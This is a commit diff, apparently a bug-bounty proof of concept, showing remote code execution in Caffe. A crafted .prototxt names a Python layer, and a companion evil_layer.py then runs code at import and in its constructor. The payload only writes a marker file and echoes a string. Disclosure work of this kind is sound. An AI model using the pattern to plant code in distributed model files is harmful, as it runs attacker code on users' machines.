Add Caffe Python layer RCE PoC
Browse files- README.md +38 -0
- evil_layer.py +40 -0
- malicious_deploy.prototxt +18 -0
README.md
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: unknown
|
| 3 |
+
tags:
|
| 4 |
+
- security
|
| 5 |
+
- poc
|
| 6 |
+
- huntr
|
| 7 |
+
---
|
| 8 |
+
|
| 9 |
+
# Caffe `.prototxt` Python layer → RCE PoC
|
| 10 |
+
|
| 11 |
+
`malicious_deploy.prototxt` declares a layer with `type: "Python"` and
|
| 12 |
+
`python_param { module: "evil_layer" layer: "Pwn" }`.
|
| 13 |
+
|
| 14 |
+
`GetPythonLayer()` (`src/caffe/layer_factory.cpp:290-301`) — called from
|
| 15 |
+
`LayerRegistry::CreateLayer()` whenever `caffe.Net(prototxt, weights, phase)`
|
| 16 |
+
loads a `.prototxt` — takes those two strings straight from the attacker's
|
| 17 |
+
`.prototxt` with zero validation:
|
| 18 |
+
|
| 19 |
+
```cpp
|
| 20 |
+
bp::object module = bp::import(param.python_param().module().c_str());
|
| 21 |
+
bp::object layer = module.attr(param.python_param().layer().c_str())(param);
|
| 22 |
+
```
|
| 23 |
+
|
| 24 |
+
`bp::import(module)` imports an arbitrary Python module by name (running its
|
| 25 |
+
top-level code immediately), then instantiates an arbitrary class from it by
|
| 26 |
+
name. `evil_layer.py` (also in this repo) is the companion module that must
|
| 27 |
+
be importable (on `PYTHONPATH`/cwd) when the victim loads this `.prototxt` —
|
| 28 |
+
exactly the normal distribution pattern for Caffe models that ship custom
|
| 29 |
+
Python layers (e.g. py-faster-rcnn's `rpn/proposal_layer.py`).
|
| 30 |
+
|
| 31 |
+
`BUILD_python_layer` is CMake's **default-ON** build option
|
| 32 |
+
(`CMakeLists.txt:38`).
|
| 33 |
+
|
| 34 |
+
Loading this `.prototxt` with `caffe.Net()` executes `evil_layer.py`'s
|
| 35 |
+
module-level code and the `Pwn` class constructor.
|
| 36 |
+
|
| 37 |
+
Reported to huntr.com as a Model File Vulnerability (MFV) submission
|
| 38 |
+
("Caffe" format).
|
evil_layer.py
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
Attacker-supplied Python layer module.
|
| 3 |
+
|
| 4 |
+
In a real attack, this file ships alongside the .prototxt/.caffemodel
|
| 5 |
+
(this is a normal, documented distribution pattern for Caffe models that
|
| 6 |
+
use custom Python layers -- e.g. py-faster-rcnn's rpn/proposal_layer.py,
|
| 7 |
+
SSD's multibox loss helpers, etc. Users are told to add the model repo
|
| 8 |
+
to PYTHONPATH before running caffe.Net(...)).
|
| 9 |
+
|
| 10 |
+
Both blocks below execute with ZERO involvement of caffe.Net()'s API
|
| 11 |
+
surface other than the module/layer name strings taken verbatim from
|
| 12 |
+
the .prototxt python_param field.
|
| 13 |
+
"""
|
| 14 |
+
import os
|
| 15 |
+
import datetime
|
| 16 |
+
|
| 17 |
+
MARKER = os.path.expanduser("~/bugbounty_results/caffe-mfv/poc/PWNED_MARKER.txt")
|
| 18 |
+
|
| 19 |
+
# 1) Code that runs at IMPORT time (bp::import(module) alone triggers this,
|
| 20 |
+
# before the "layer" attribute is even looked up).
|
| 21 |
+
with open(MARKER, "a") as f:
|
| 22 |
+
f.write(f"[{datetime.datetime.now()}] evil_layer.py MODULE IMPORTED "
|
| 23 |
+
f"(triggered by python_param.module string from attacker prototxt)\n")
|
| 24 |
+
f.write(f" -> proof: os.getpid()={os.getpid()}, os.getcwd()={os.getcwd()}\n")
|
| 25 |
+
|
| 26 |
+
|
| 27 |
+
class Pwn(object):
|
| 28 |
+
"""
|
| 29 |
+
Attacker-controlled class named by python_param.layer ("Pwn").
|
| 30 |
+
Caffe calls: module.attr(layer)(param) == Pwn(layer_param)
|
| 31 |
+
Constructor code below runs unconditionally as part of layer creation.
|
| 32 |
+
"""
|
| 33 |
+
def __init__(self, layer_param):
|
| 34 |
+
with open(MARKER, "a") as f:
|
| 35 |
+
f.write(f"[{datetime.datetime.now()}] Pwn.__init__ EXECUTED "
|
| 36 |
+
f"(triggered by python_param.layer string from attacker prototxt)\n")
|
| 37 |
+
f.write(f" -> received layer_param.name={layer_param.name!r}, "
|
| 38 |
+
f"type={layer_param.type!r}\n")
|
| 39 |
+
f.write(" -> arbitrary command execution demo: "
|
| 40 |
+
+ os.popen("echo pwned-via-caffe-python-layer").read().strip() + "\n")
|
malicious_deploy.prototxt
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
name: "PwnNet"
|
| 2 |
+
layer {
|
| 3 |
+
name: "data"
|
| 4 |
+
type: "Input"
|
| 5 |
+
top: "data"
|
| 6 |
+
input_param { shape { dim: 1 dim: 3 dim: 224 dim: 224 } }
|
| 7 |
+
}
|
| 8 |
+
layer {
|
| 9 |
+
name: "backdoor"
|
| 10 |
+
type: "Python"
|
| 11 |
+
bottom: "data"
|
| 12 |
+
top: "backdoor"
|
| 13 |
+
python_param {
|
| 14 |
+
module: "evil_layer"
|
| 15 |
+
layer: "Pwn"
|
| 16 |
+
param_str: "malicious param_str payload"
|
| 17 |
+
}
|
| 18 |
+
}
|